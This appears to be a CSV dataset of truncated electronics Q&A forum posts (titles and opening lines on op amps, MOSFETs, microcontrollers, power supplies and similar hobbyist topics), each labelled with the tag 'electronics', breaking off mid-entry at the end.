Input,Tags "Title: Frequency Inverter LS IS5 Body: I have been working with a IS5 frequency inverter. I'm trying to use the Sensorless Torque control, for a Wind Turbine Emulator, via an external reference. The issue is, when I turn the inverter on ... ",['electronics'] "Title: Why did the designer use this motor? Body: I was taking apart this thing that I bought from the dollar store, its this glass block with an encased sculpture that sits on a revolving deck. (see photo below) The deck powers 4 LEDS with ... ",['electronics'] "Title: Help with amplifier with feedback Body: I am starting to learn to use operational amplifier recently. I construct a simple circuit with an amplifier (http://www.ti.com/product/op07c) with is driven by 9V (on VCC and GND). I have the V+ and ... ",['electronics'] "Title: Single Supply Op Amp to Amplify 0-3.3V to 0-10V Body: This may be a very basic question but as the username suggests I'm a newbie. I am working on amplifying a 0-3.3V (actually 3.26V) signal from a R2R DAC up to 0-10V. I am fairly certain of how to ... ",['electronics'] "Title: How to start with 3d tracking? [on hold] Body: I am new to all of this and I really feel overwhelm. I want to create like a sword with IMU inside it and when I move the sword it will move in the screen. I think I need to connect the IMU to a ... ",['electronics'] "Title: Determine rc servo motor resolution Body: I want to make a low thrust linear actuator with a cheap continuous rc servo motor and then control it with a microcontroller. The thing is, I want to find out what the minimum degrees is that a motor ... ",['electronics'] "Title: What should I know about “press fit” connectors? Body: I'm looking a particular type of connectors and they are all press-fit style. I've never dealt with such connectors before and to my knowledge they do not require any soldering. I have a questions ... ",['electronics'] "Title: Two NPN Transistors in C-E to C-E Series? Body: Background: Trying to modify a cheap Digital Picture Frame. Since I don't enough enough about it to modify it's firmware, I need to take a more roundabout route. I will be including a msp430 to ... ",['electronics'] "Title: Using an Arduino Uno to program AT32UC3B Body: Is it possible to use the Arduino as a programmer for an Atmel 32 bit microprocessor? I have tried searching for something and was not able to find anything. If anyone could give any insight that ... ",['electronics'] "Title: How to drive seven-segment LCD with CD4055 IC Body: I have a problem using DE-112 seven-segment (two digits) liquid crystal display with CD4055BE IC. As far as I know, LCD should be provided purely AC current, or it will be damaged with time. I have ... ",['electronics'] "Title: Which software should I use to design an UPS (Uninterruptible Power Supply) [on hold] Body: I would like some advice regarding the best software I could use to design a full UPS integrating a PWM Pure Sine Wave Inverter, Power Amplification Stage, Battery charger and circuit switcher, etc.. ... ",['electronics'] "Title: Arduino bootload flash error Body: I use Arduino as ISP to burn ATtiny45, but when I burn the bootloader, the below happens: ... ",['electronics'] "Title: Pulse extender device [duplicate] Body: What should I use to extend a 1/2 second GPI pulse that generates out of a cue trigger port twice an hour by a schedule from a Cisco D9850 receiver, to 5 seconds duration or more? ",['electronics'] "Title: A good book for microelectronic devices [on hold] Body: I read few chapters from the book Microelectronic Circuits by Sedra. I found it a very good reference. However, a very hard book to self study from. What is a classic good book that I can self study ... ",['electronics'] "Title: What is the meaning of JK flip flop's J and K ? Body: In D flip flop, D means DATA. In SR flip flop S means SET and R means RESET. What is the meaning of JK flip flop's J and K ? ",['electronics'] "Title: Why a wave does not enter a cable? Understanding TDR (Time Domain Reflectometry) Body: I have been doing some TDR (Time Domain Reflectometry) measures which involves sending gaussian pulses through a cable and measuring the s11 (reflection) parameter. In this measure, I could see that ... ",['electronics'] "Title: Low Voltage Disconnection Body: How to build a circuit wich operates on 12V DC Battry (which is used in multimeter) and it sense the DC Volatge Range from 56V DC to 44V DC on attaining 45V DC circuit send a Ground Signal through a ... ",['electronics'] "Title: Need help re power use for an arduino Body: I'm trying to build a rechargeable LED prop using neopixel sticks. (http://www.adafruit.com/products/1426) There will be a lot of them, potentially up to 15 sticks (128 leds) if such a thing is ... ",['electronics'] "Title: Signal flow simplification Body: I've looked at the various simplifications that can be made for signal flaw diagrams to combine branches; however, I can't work out how one can apply a transformation to simplify the following ... ",['electronics'] "Title: EAGLE CAD: Push aside traces by DRC clearance Body: Does anyone know of a script or tool which makes it easier to 'push aside' traces when routing by the specified DRC spacing? For example, if I have 2 traces which should be parallel and are 6 mils ... ",['electronics'] "Title: Field Patterns in Waveguides Body: How are the field patterns for magnetic and electric field obtained using the field equations? What is the intuitive way of understanding and drawing them? I searched a lot regarding the method for ... ",['electronics'] "Title: How to do a loopback test of a parallel port? Body: I have connected pin 2 to pin 3, pin 4 to pin 5, and pin 6 to pin 20. Can someone please tell me if this is the correct wiring for loopback testing a parallel port? Ia am using BurnInTest 7.1 Pro by ... ",['electronics'] "Title: Reflection coefficient VS frequency Body: I was trying to look for the answer of what I think it should be quite a simple question but I haven't found any nice answer (at least any that has convinced me). Here it is: Through a cable ... ",['electronics'] "Title: Help identifying D1047 transistor (pic included) Body: Who can help me identify this transistor? It came out of a Chinese micromotor power supply. Text on top is ""D1047 905"". Can I substitute it with other transistor? ",['electronics'] "Title: Connecting a 10 bit camera to a CPU with 8 bit camera interface Body: I have 10 bit camera (MT9V032) that I need to attach to a processor that has only 8 bit camera data interface. (no LVDS) What is the best way to connect these two? My current plan is to leave data ... ",['electronics'] "Title: Description of signals in Laptop Fans Body: My laptop has this fan, which I want to replace. But before blindly replacing it and make it work I am curious to know what all signals are associated the four wires: Black, Pink, Yellow & Red. I ... ",['electronics'] "Title: Does setting pins as virtual affect timing? Body: I have a Verilog submodule which I am testing independently. This module has too many top level pins to fit in my FPGA, so I have set some of the pins as virtual so that it would compile without ... ",['electronics'] "Title: 8x8x8 Led Cube Driver Circuit Body: I am going to build 8x8x8 LED cube. Before I do I need to figure out a good driver circuit. I came here because I have very little knowledge about how a lot electronic parts fit together. So here's ... ",['electronics'] "Title: What can reduce overshoot and ringing on a simple square wave pulse generator? Body: I've built a simple RC and Schmitt-trigger-based square wave pulse generator. On the breadboard, it has some obvious unwanted qualities due to jumper length, the breadboard itself, etc. Schematic and ... ",['electronics'] "Title: 7 Segment display Stuck on number 0 [on hold] Body: I'm new to circuits and am trying to make a 7 segment display decoder with a 4511. My display is stuck on zero, nothing happens when I press any of the switches, what could be wrong? Here is a photo: ... ",['electronics'] "Title: 3 Wire Fan Tach, why using only one wire gives a signal? Body: I have a Sparkfun Power Shield for 12v fan powering, controlled with a BeagleBone Black. As I haven't been able to read the RPM with this setup, I added an spared Arduino Uno to do this, and also I ... ",['electronics'] "Title: My Ctek 250s Dual [on hold] Body: My Ctek 250s Dual MPPT Solar regulator will only accomodate a max of 23V from the Solar panel, the 100w panel that I have has a VOC of 23.2V at Tc 25degree C. Voltage at Pmp(Vmp) 19.0V. If I am ... ",['electronics'] "Title: Solderless Board IC decoder 4511 Body: I'm new to circuits, I tried following this link http://www.electronics-tutorials.ws/combination/comb_6.html to create a 7 segment decoder. I have set up everything on a solderless board, but I have ... ",['electronics'] "Title: Will Stressing a Lamp Filament with AC, DC and/or Relay chatter change its lifespan? Body: I am building a device that shortens the lifespan of an old style ""edison"" bulb with an extra long filament as a kind of arbitrary timer. I am planning to ""stress"" it (not immediately explode it or ... ",['electronics'] "Title: Power plug orientation and usability Body: I was wondering what advantage is gained by modeling a power plug after the lower design. These are American power plugs, and they both exist. Perhaps the only consumer-based effect gained by using ... ",['electronics'] "Title: Inherited a satellite dish [closed] Body: I have moved house and now have a satellite dish. I don't want to get into a contract with Foxtel (here in Australia) but can I connect a different receiver to the dish and receive free to air ... ",['electronics'] "Title: Calculations for a linear power supply [on hold] Body: I've missed some classes and I'm struggling to do this. I need to ""design a linear power supply with 12v output, with simple series regulator, providing a 2A current from 220V AC (60Hz)"". I don't ... ",['electronics'] "Title: What is difference in the design steps between designing an OPAMP vs Miller-OPV? Body: I am given a task as: Design an operational amplifier (Miller-OPV, 0.35μm) according to the introduced design plan and the given lab technology that meets the following specification: What ... ",['electronics'] "Title: Is it safe to clean out a computer with air compressor? [duplicate] Body: I need to clean my desktop, it is full of dust. Is it safe to use a compressor to clean it? I mean, can I have problem with static, water, dirty, moisture or other stuff been blown on the hardware? ",['electronics'] "Title: Hobbyist Leaded Solder Body: I'm not asking about the safety of which solder, I'm asking about which type of solder would be best for my purposes I'm a novice electronic hobbyist and I just want to know what composition of ... ",['electronics'] "Title: Why bridge the GND wire on a DE-9 connector? Body: Why would someone want to bridge the GND wire to the metal shield of a DE-9 connector? Take a look at the picture below. A 10 position flat ribbon cable is soldered to a DE-9 connector (male). On ... ",['electronics'] "Title: Realizing logic gates with transistors: AND and OR gate in parallel, trying to understand different behaviours Body: I am trying to understand and finally realize a logic gate by using transitors. In order to build a ""simple"" one-bit adder, my first step was to design a circuit that puts an AND-gate and an OR-gate ... ",['electronics'] "Title: Why UART Interrupts are not working properly in dsPIC? Body: Hello I am working with the UART1 module in a dsPIC33FJ128GP802 but it is not working as expected using XC16 compiler. Here is my initialization code and interrupt routine, the ... ",['electronics'] "Title: Distance between 2 points [closed] Body: What is the best way to measure distance between 2 points? One is a fixed object and the other will be moved to different points within 25 feet. The mobile object is the device that would need to know ... ",['electronics'] "Title: Accessing RAM instance from multiple modules in Verilog Body: I am trying to make a single instance of RAM module accessible in different modules without instantiating it in every module. Since If I instantiate RAM module in each module, there are two more ... ",['electronics'] "Title: What is the most efficient way to debug CANbus from a PC? Body: I have several working and inter-operable boards using CANbus. I've shipped hundreds of products using these boards, with no problems. One of my customers is now saying that his fault log shows ... ",['electronics'] "Title: Readily available bluetooth module with energy source and buttons attached? [closed] Body: I'm a fairly proficient programmer with nil experience in electronics and hardware. For a project I'm searching for a readily available package (not sure if right term) consisting of a bluetooth ... ",['electronics'] "Title: Battery backup with single diode Body: Below is the circuit for backup power from BAT2 when BAT1 is missing. BAT1 in my case is the LD1117 regulator. simulate this circuit – Schematic created using CircuitLab Suppose only two ... ",['electronics'] "Title: L3G4200D random spikes Body: I've searched this forum a bit in regards to the L3G4200D gyroscope, and haven't seen this problem mentioned, but I have seen others talk about it on other forums. I am seeing a strange large value in ... ",['electronics'] "Title: CE certification: battery-powered LED lights Body: There are lots of products on the market that are LED lights which don't all seem to carry CE markings. I'm looking at designing little ornamental things with embedded LED lighting, and trying to work ... ",['electronics'] "Title: What is the voltage and current of a shorted secondary of a transformer? Body: So let's say you step down 120 volts with a current of 0.1 amp, to 12 volts with a current of 1 amp transformer. What does is mean exactly when the current steps up to 1 amp in my example? Does this ... ",['electronics'] "Title: How can ohmic imbalance be avoided? [closed] Body: Ohmic imbalance occurs in a heater when phase reversal is applied which causes a 100uf capacitor to be discharged. What should be done to avoid this? Should phases be reversed or a polarity ... ",['electronics'] "Title: How to calculate current through an H-Bridge Body: Given the below H-Bridge, how do you calculate the current through the conduction paths? This particular IC, the L298, has a per-bridge limit of 2A - so I know the upper limit. If I were to place a ... ",['electronics'] "Title: Will a incandescent burn out if you leave them on forever? Body: We've all had a time or too two that when you really needed light, and I mean need it immediately, and you flip on the switch, and with a pop and a bright flash, your incandescent is toast. However, I ... ",['electronics'] "Title: Calculate transmitting power of the Transmitter Body: I cannot get a hold of my professor and I'm stuck tyring to understand how to solve this problem. It's not homework or an assignment I'm preparing my self for a test. So as the title states I need ... ",['electronics'] "Title: How to identify stepper motors? Body: I have a bunch of motors that I collected from different places. How can I figure out which ones are stepper motors? I have access to the datasheet for most of them, just not sure what to look for. ... ",['electronics'] "Title: enc28j60 wrong packet length Body: I have a problem while reading the buffer memory to determine packet length. For some reason i always receive packet size 60 and difference between previous and current pointer is 70 bytes. Sniffing ... ",['electronics'] "Title: Detect a -5V input to a microcontroller [closed] Body: Im Currently working on an ESC to control a bldc, using sensorless methond(Bemf). And the input to the MCU comes from a ZCD with a -5v(presumably). How do i detect this? And is to possible to ... ",['electronics'] "Title: Any-angle routing in Altium? Body: I have a design with a very thin and curvy board shape, so any-angle routing is absolutely required. My favorite EDA software is Altium, so right now I have only two options, both bad, for how to ... ",['electronics'] "Title: Is this measured rise time inaccurate because of limited oscilloscope bandwidth? Body: I don't have an LCR meter and wanted to learn how to use a fast edge pulse generator and an oscilloscope to do capacitance measurements as an academic exercise. In W2AEW's videos, he builds a simple ... ",['electronics'] "Title: RS232 hotplugging Body: I've noticed that when I connect/disconnect the RS232 cable to my micro-controller, I receive a garbage character at the other end (my pc). Is there a way to prevent this? I want to eventually move ... ",['electronics'] "Title: What are the ways to make a dual power supply from a single voltage source? Body: I have a function generator IC XR2206 from EXAR. It's application circuits uses dual power supplies like +/-9 volts. How can I make such a 9-0-9 dual supply from a single voltage source like a battery ... ",['electronics'] "Title: How do you implement timers on MSP 430 5528 using the help of an implementation for MSP 430x26x? Body: I have followed GINA Mote instructions from this page: https://openwsn.atlassian.net/wiki/display/OW/IAR and I was able to successfully able to build and run 01bsp_radio.c transmit project. I ... ",['electronics'] "Title: What does “no bulk” mean in MOSFETs? Body: The 3rd and 4th column in the image below (from wikipedia) says ""enhancement, no bulk"". What does ""no bulk"" mean? ",['electronics'] "Title: Does linearity of a N-MOSFET continue for \$V_{DS}\$ below \$0V\$? Body: I operate a N-MOSFET (2N7000) in a simulator in the linear region very close to \$V_{DS}=0\$. In fact \$V_{DS}\$ is between \$-50nV\$ and \$+50nV\$. In the simulator the output seems linear, but is ... ",['electronics'] "Title: Why isn't the solar panel charging the battery? Body: I have a solar panel, a battery and a charge controller. I didn't pay for any of it so I thought I would just wire them up and see how it goes. The battery won't charge. The charge controller has a ... ",['electronics'] "Title: Does mAh measure how long a battery would last? Body: I know mAh tells how much milliamperes a battery can deliver in an hour. But does that also tell how many hours the battery would last? Sorry but I don't really get it. If we're talking about a water ... ",['electronics'] "Title: How to upgrade a Quartus II project from SOPC to QSys? Body: I don't understand my errors in QSys, can you help me? I'm trying to go through this exercise: http://www.cs.columbia.edu/~sedwards/classes/2013/4840/lab3.pdf In Qsys when I connect the components I ... ",['electronics'] "Title: Need help choosing H bridge driver Body: I am trying to decide on what H-bridge driver (for MOSFET) I should pick. I am completely new to this field so I might say something wrong. So I decided to make a full H-bridge using 4 N-Channel ... ",['electronics'] "Title: Driving high current bipolar stepper motor with high voltage Body: I have a 3A 5V bipolar stepper motor, which I would like to run at 40V. Running stepper motors at high voltage is okay as long as the current is capped. To cap the current I need to have a chopping ... ",['electronics'] "Title: Preventing Arc Discharge Body: I am repairing some ozone generators and one of them has a tower with a discharge path I can't seem to get rid of. Back in the heyday of television, my dad ran a side (hobby) business repairing bw ... ",['electronics'] "Title: How to detect Serial or TTL signal for a PIC? Body: I have a Microchip PIC with UART support. If i understand correctly, the UART is able to natively handle the TTL serial signal. I'm expecting input signal that should be TTL (0/5V), but it could be ... ",['electronics'] "Title: Where to connect DB9 Ground Pin on a Serial RS232 connection? Body: I want to connect my DIY basic stamp via RS232 MAX232 to the serial port on my laptop. Now since I'm a complete newbie in electronics, what do I do with Ground Pin 5 on the DB9? I assume ground means ... ",['electronics'] "Title: 7 segmenting without decoder, plain And Or Chip [closed] Body: Hello guys i'm new to electronics, i'm using a breadboard and creating a 7 segment, is it possible to only use chips and or chip without decoder to create single 7 segment display 0-9? Also i'm ... ",['electronics'] "Title: STM32F103 low power mode (stop) Body: I've got a project where I'm trying to get the power consumption down as low as possible (on an STM32F103RCT6). I looked at ST's document on getting the STM32F2 power consumption down as low as ... ",['electronics'] "Title: WiFi-UART module taking more time to transmitt data over network Body: I am working on a WiFi based embedded project. I have used this module for my project and have implemented a test web server on my ATmega16 controller. Using UART-WiFi configuration software I have ... ",['electronics'] "Title: How can I charge 3 12V batteries with 2 24V solar panels? Body: I use three 65Ah/12V VRLA batteries connected in series to a 36V UPS to power my computer. I will soon have two 200W/24V solar panels. What do I need to charge the UPS batteries with these panels? ... ",['electronics'] "Title: What is ThunderBolt? [closed] Body: What is the Thunderbolt technology developed by Intel Corp.? How does it compare to USB 3.0? If it really is as fast as is claimed , why hasn't it replaced USB 3.0? ",['electronics'] "Title: How do you determine antenna gain from a polar radiation plot? Body: Using the plot from the Wikipedia Patch antenna page as an example, how is the 9dBi value obtained? It looks like the radiation is barely higher than 0dBi at the strongest location. ",['electronics'] "Title: 1.5V to 5V dc-dc converter Body: I'm looking for a dc-dc converter using only basic components (coil, condensator capacitor, transistor, resistor, diode, zener diode). Because when ordering a specialized component from the internet ... ",['electronics'] "Title: Switch symbol: Which line is normally-closed? Body: The symbol below is for the component TL32P0 (TINY SWITCH ON - MON), included in EAGLE 6.5. In this symbol, which pin is normally-closed (NC)? 1 or 3? Or is the symbol not a typical one, i.e. not ... ",['electronics'] "Title: Using Temac Core - XIilinx Virtex 5 board Body: I intend to send data packets from my PC to a Virtex-5 board over ethernet cable. I found three ways to achieve this -- 1. Use the Microblaze processor core, using the EDK and SDK tools. (However, It ... ",['electronics'] "Title: What's the Opposite of a sensor? Body: I'm trying to write an electrical engineering paper about different I/O on mobile phones. The inputs, such as the camera, microphone, accelerometer, GPS, can be considered sensors. What's the ... ",['electronics'] "Title: What is MOSFET gate drive capability and why do I care about it? Body: Someone told me that this circuit has ""poor gate drive capability"": simulate this circuit – Schematic created using CircuitLab What exactly does that mean? I tested it with an LED as a ... ",['electronics'] "Title: What is a USB Host Device? Body: I recently came across the term USB Host Device while reading how someone used a micro controller as a USB Host device.I haven't been able to understand the meaning of this term. Could some one ... ",['electronics'] "Title: Simulation tool to calculate microprocessor power consumption? Body: Are there any simulation tools to calculate microprocessor power consumption at the early brainstorming stage of development? ",['electronics'] "Title: What effect do different SMT stencil materials have on results? Body: I have a PCB with 20-mil pitch SMT pads for a QFP-64. I ordered a stencil for it, which is made of some flexible material. I haven't had much luck with it, I suspect because the material is so ... ",['electronics'] "Title: DC Motor - PWM vs Voltage Body: When controlling a DC motor that is rated at 5V theoretically I can drive the motor in these ways: 5V with 100% duty cycle PWM. 10V with 50% duty cycle PWM. 20V with 25% duty cycle PWM. Is there a ... ",['electronics'] "Title: Do the very thin wires of headphones have a name? Body: Do the very thin wires of headphones have a name? by headphone wires I mean the usually green, red and twisted ground cables, about 0.1 mm thick. ",['electronics'] "Title: Eagle autorouting problems Body: Alright - I'm on the same project as I was in the last question I asked, where I am trying to mount four Spartan-6 FPGAs (specifically, the BGA256 variety) onto a DIMM-form-factor card. All has gone ... ",['electronics'] "Title: Does the physical size of through-hole ceramic capacitors also relate to voltage rating? Body: I am sorting through some ceramic capacitors and reorganizing them. I came across a number of capacitors with ""82"" on them (at left), which I assume is 82pF, but they are physically larger than even ... ",['electronics'] "Title: How can I electronically sense the state of an LED in another device with an Arduino? Body: I'm working on a project to integrate an off the shelf garage door monitor with an Arduino. The base station has a pair of LED's that flash in different patterns to indicate the state of the remote ... ",['electronics'] "Title: Controlling MOSFET with microcontroller Body: I'm trying to use a P channel MOSFET (FQP27P06) to  multiplex 4 large common anode seven segment displays. I'm using a TPIC6B595 high voltage high current shift register to sink the segments for each ... ",['electronics'] "Title: What does a High Time Constant for RC circuit mean Body: It's a simple RC Series circuit, with voltage being measured across the Capacitor. Input voltage is of pulse type with the following Parameters V_on=5V V_off=0V Pulse Duration=20 ms(On Time) Time ... ",['electronics'] "Title: Transistor not giving enough current Body: I am using a TIP120 Transistor with pwm from my Arduino to fade an led strip. The RGB led strip requires 12 volts and 1.6 amps of current. I bought a 12 V / 2.5 Amp power supply from Radio Shack and ... ",['electronics'] "Title: Bluetooth communication with smartphone, options? Body: I am working on a device which I may want to consider mass producing. The device connects to a smartphone over a Bluetooth connection. For prototyping purposes I have used the very common HC-05 module ... ",['electronics'] "Title: How to know usb connection is lost Body: I am working with AT90USB1287 controller with USB communication to PC. I am sending some commands from PC to controller using USB communication to activate some controlled switch. I am able to change ... ",['electronics'] "Title: Using super capacitor alternative to battery as a backup power for laptops Body: I'm interested building my own battery pack using a series of super capacitor, something like this : http://youtu.be/z3x_kYq3mHM I plan to use it as a power backup solution for my laptop. Based on ... ",['electronics'] "Title: Iphone wireless communication without Wifi? [closed] Body: I am working on a robot that I would like to control using an Iphone app that I am creating. The problem I'm facing is that the robot will be operating in areas where there will most likely be no ... ",['electronics'] "Title: LCD screen gets hot and sucks power from Raspberry Pi Body: Has anyone else experienced LCD screens overheating, and drawing too much current? I was trying a GPIO project with my Raspberry Pi in an attempt to interface with an LCD screen but for some reason my ... ",['electronics'] "Title: CADENCE LAYOUT VIEW [closed] Body: Can I send informations from an Cadence schematic view of an electronic circuit ( example like CADENCE LAYOUT VIEW to an other application running on Windows???? Description of the use case: My ... ",['electronics'] "Title: My scope detects a 50Hz signal when the probe is not connected to a circuit, is this normal? Body: Having no prior experience with scopes, it seems strange to me that when the probe is not measuring anything (~ not connected to a circuit) it measures a small 50Hz (~ my mains are running at 230V ... ",['electronics'] "Title: Unable to understand how to use bq27200 (i2c) Body: I am working on getting a Raspberry pi to communicate with a bq27200 (""SINGLE CELL Li-Ion AND Li-Pol BATTERY GAS GAUGE IC FOR PORTABLE APPLICATIONS""). I not sure I am using the correct method to ... ",['electronics'] "Title: Arduino + Ethernet Shield = Overheating Body: I am quite new to the science behind electronics (long time software guy), but here is my issue. I have an Arduino UNO and an Ethernet shield attached to it, all powered by a 7.5VDC wall wart, rated ... ",['electronics'] "Title: PIC : EEPROM not write properly to 0xFF in PIC18F67K22 controller Body: I am writing values from 0x50 to 0x3ff in EEPROM of pic18f67k22. Whenever eeprom is getting full, I am writing 0xFF and then after write my data from 0x50 location. but some time eeprom is not write ... ",['electronics'] "Title: Accidentaly shorted Arduino Leonardo VIN pin to GROUND. Is my board fried for ever? Body: I accidentaly shorted the Vin pin to the Leonardo's GND pin and the ON led flashed. After the flash, the L led turned on with the ON led and stayed that way. Then the AtMega32u4 started to heat up ... ",['electronics'] "Title: Low cost method for retrieving information from a microcontroller Body: I am in need of a device that can poll and record the temperature of an area automatically such that I can get the information on to my computer somehow. I am thinking of buying an NTE7225 ... ",['electronics'] "Title: circuit breaker for 1/4 HP 115V AC motor? Body: I'm building a machine to help me manufacture some optical components more quickly. The machine will be powered by a plain old, ""boring"" 1/4 HP motor, like the ones used for various household ... ",['electronics'] "Title: Help with inverter simulation Body: I am trying to design layout, schematic and symbol, and then using symbol or schematic to test my design. Here is the schematic: And here is the layout I designed: When I run DRC, I get the ... ",['electronics'] "Title: Atmel AVR Studio 6 - remove invalid target device - how? Body: Okay, so I had an STK500 driver connected on USB on virtual COM3. However, after installing and uninstalling some software, the drivers futz'd up, and ceased to detect the programmer. So, I've ... ",['electronics'] "Title: Add SD card capabilities to a STM32F4 Discovery board Body: What is the cheapest and easiest way to add SD card capabilities to a STM32F4 Discovery board? If it makes any difference the board will be running .NET Micro Framework. Is there some tutorial or ... ",['electronics'] "Title: Converting .NCD Files Body: I am using EDWinXP as my PCB editor. EDWin exports the drill files as .NCD (NC drill file) It thinks these are standard excellon format. I have passed the file to my friend (who is using eagle PCB I ... ",['electronics'] "Title: Noise from solid state rectifier in tube amp Body: Recently I was talking to a friend about solid state rectifiers in tube amps. He told me that solid state rectifiers induces noise in the power supply, because the breakdown current of the silicon ... ",['electronics'] "Title: Emitter follower: Icq and Vceq calculation Body: I have problem with understanding how to calculate \$ I_{cq} \$ and \$ V_{ceq} \$ of this circuit. Q1 has these details: \$ h_{FC}=150 \$ and \$ h_{fc}=100 \$ As I understand it I should find \$ ... ",['electronics'] "Title: sophisticated push type solenoid needed for vibrational output-Push type Tabular ?? [closed] Body: I am looking for a sophisticated push type solenoid. By sophisticated I mean I can control its plunger movement to move following a pattern by a micro controller, over a stroke length of about 10mm. ... ",['electronics'] "Title: Why are the current directions in the hybrid-pi model for BJT the same for both NPN and PNP? Body: Here is the hybrid-Pi model: with Ic and Ib going in, and Ie going out. The same circuit can be used for both NPN and PNP, the only thing changing being Vbe for NPN and Veb for PNP. The currents ... ",['electronics'] "Title: How can I test my multimeter's battery without a low battery indicator? Body: I a few months ago needed a multimeter, and I didn't have one. Not wanting to wait for one to arrive, and only needing it once, I went out to the hardware store and bought a cheap digital multimeter. ... ",['electronics'] "Title: Cheap easy way to test for RF power output Body: I have a need to remotely confirm output power on a radio. However I'm poor and want to do cheaply. All I need is a confirmation that it's pumping out in excess of 75 Watts and then have a contact ... ",['electronics'] "Title: What would be a good use for a memristor? [closed] Body: I am an electronics hobbyist and I found something that I hadn't heard of before, named Memristor. I found some information about how memristors work on this site and I want to know that how it can be ... ",['electronics'] "Title: Problem Changing system clock frequency Body: I have an ATtiny85 and I'm trying to set the clock to 8Mhz. I have read the data sheet and some discussions on how to do this but am not having any luck getting it to work. I have included my code ... ",['electronics'] "Title: Why does the thickness of a wire affect resistance? Body: A teacher explained why by using a highway analogy. The more lanes you have, the faster the cars go through, where the number of lanes obviously represent the wire thickness and the cars represent ... ",['electronics'] "Title: synchronous rectifier control chips for half-bridge Body: I'm looking for synchronous rectifier control chips for use in a boost converter, but all the chips I've seen so far sit behind transformers in the application circuits (for example, as shown here: ... ",['electronics'] "Title: Why do we use \$s=j\omega\$ in AC analysis instead of \$s=\sigma+j\omega\$? Body: In AC analysis, \$s=j\omega\$ when we deal with \$sL\$ or \$1/sC\$. But for a Laplace transform, \$s=\sigma+j\omega\$. Sorry for being ambiguous but I would like to connect the questions below: Why ... ",['electronics'] "Title: Analyze My Homebrew Diplexer Body: I'm in need of a diplexer that'll separate RF signals from a single feedline to two antennas. What I designed and built was a diplexer that would allow ~38 Mhz and below out port 1, with ~38 MHz and ... ",['electronics'] "Title: Voltage divider with lower ohm rating Body: So I was creating my own circuit based closely off the minty boost charging diagram for iDevices and I had slightly messed up on my calculations. If all my math was correct, I accidentally bought ... ",['electronics'] "Title: Capacitor loop with no resistance Body: I recently started using circuit simulation software that is warning me that I have a ""capacitor loop with no resistance"" and then refuses to run any simulations until I correct the problem. I can ... ",['electronics'] "Title: Making 12V DC from 6V AC Body: I've got a 1980 Honda XL 185s that has a 6 volt electrical system. The headlight uses a 6V AC, 30 watt bulb powered from the generator. The other lights (tail, blinkers) operate off of the 6 volt ... ",['electronics'] "Title: Cleaning signal, what do you think? Body: Could you check my schematics? especially the high pass's polarized capacitor. So I have this signal, coming from an optical sensor, it's small and dirty. In it's ""original"" form the signal looks ... ",['electronics'] "Title: How to convert to unsigned long from 4 char array? Body: I am programming an AVR chip (atmega1284p) with c code, I am using SPI to read in 4 bytes from a chip on my circuit. I would like to take those 4 bytes and return them as an unsigned long. I can ... ",['electronics'] "Title: 3.3V <-> 24V interface Body: I need to interface an ARM µC (BeagleBone Black) with a 24VDC system. 24VDC sensors and 24VDC actuators should be connected to the BeagleBone Black. I am wondered how to do this. I have found a ... ",['electronics'] "Title: How can I find maximum power transfer using Thevenin equivalent Body: As I understand it, should maximum power transfer be when $$ R_L=R_{th} $$ then $$ P_L= P_{L(max)} $$ So that this should do the trick: $$ P_{L}=\frac{V_{th} ^2}{R_{th}} $$ But it seems that I ... ",['electronics'] "Title: Diffrance between Brushed ESC and Brushed DC Motor Driver (Controller) Body: What is the diffrance between a Brushed ESC (electronic speed controller) and a Brushed DC Motor Driver (controller)? they both do the same job, yet at different prices and look diffrent. Example: ... ",['electronics'] "Title: 2N2222 Base Current Maximum Tolerance [closed] Body: I have a 2N2222 transistor that I plan to use with an Arduino Uno. My question is how much current can this transistor handle at it's base? ",['electronics'] "Title: 220V AC -> 12V, 1.8A DC? [duplicate] Body: I am fairly new to hands-on electrical engineering (I have taken Physics II and have played with computers and electronics all my life, but am only now truly seeking to learn how to safely handle many ... ",['electronics'] "Title: why does the microcontroller pin driving optocoupler is giving 2V even if it is set? Body: I have interfaced pin 1^1 of Atmel AT89S51 to optocoupler MOC3041 IC, I set this pin to logic high. I have connected 220 ohm resistor and red led and then pin 1 of the optocoupler and after that ... ",['electronics'] "Title: what chip does thetileapp BTLE tracker uses Body: I am working on some BTLE prototypes, I saw this tracker http://www.thetileapp.com/ what chip would this ""tile"" be using? im going to be playing with the TI SoC CC2540 ... ",['electronics'] "Title: Relay Contact Rating Body: I have a HJR-4102E-L-05 relay that is has a contact rating of 3A/120VAC. I was curious if it would be able to switch a 100 watt 120VAC lamp. I know that the relay is rated to 360 watts. My concern is ... ",['electronics'] "Title: Identiying the connectors in a laser pico projector? Body: I've opened up a Microvision Showwx pico projector (see picture). I want to be separate out the projection display part from the PCB part and extend the connection somehow - basically disconnect the ... ",['electronics'] "Title: BJT input connected to another BJT's output and loading effects Body: Sedra & Smith Microelectronics, example 6.10, page 390. They ask us to analyze a BJT circuit. Here it is: simulate this circuit – Schematic created using CircuitLab In the next ... ",['electronics'] "Title: Can I use foil as a wire for my project in tight spaces? Body: I am building a project that I can put a AA battery into a little compartment. The battery fits fine without anything else in it, but when I put a wire in, it gets tight. A solution that might work: ... ",['electronics'] "Title: Readily available or commonly used transparent conductors? Body: Are they any transparent conductors (inks paints or otherwise) that are readily available to hobbyists? (i.e. cost effective and purchasable online)? ",['electronics'] "Title: Charging and Using a Li-Po battery simultaneously Body: My system requires a power which is supplied by a Li-Po. however, I need to keep this Li-Po charging at all time so it won't die. Is it possible to connect the Li-Po to my system and also have it ... ",['electronics'] "Title: Detect registers which are not reset Body: When writing Verilog, I use a variety of linters that will give errors and warnings. These are my simulator (ModelSim), my compiler (Quartus II), along with a linter (Verilator). Together, I have very ... ",['electronics'] "Title: How to route a node from one block to another block in Altera Quartus II [closed] Body: I am new to designing in and coding with with Altera Quartus II version 13 Web edition FPGA software. I am trying to split my design across serval blocks in order to make it more manageable. How do I ... ",['electronics'] "Title: Building a weight scale Body: I need to build a scale that is able to get an input from a load cell, get an input from a bar-code scanner (i don't know if this is to be treated like a keyboard or if there is a more native way to ... ",['electronics'] "Title: OC test on transformer Body: Can any one explain me in detail the magnetizing current and working currents that occur in no load conditions? I know that they are the vertical and horizontal components of no load current.. But ... ",['electronics'] "Title: Reversing direction of a motor Body: I need to be able to reverse the direction of a RS-360SH motor The operating voltage is 7.2 volt Current is around 5 A on normal running and around 8 A during stalling. I tried to use a 2-pole ... ",['electronics'] "Title: Convert a 40 pin female 2.54mm pitch header to screw terminal blocks Body: I have the following board and I need to convert the 2 row 40 pin female header to screw terminal blocks. The pitch is 2.54 mm both horizontally and vertically. I've looked at ones such as this ... ",['electronics'] "Title: What do these passive components do in this microphone 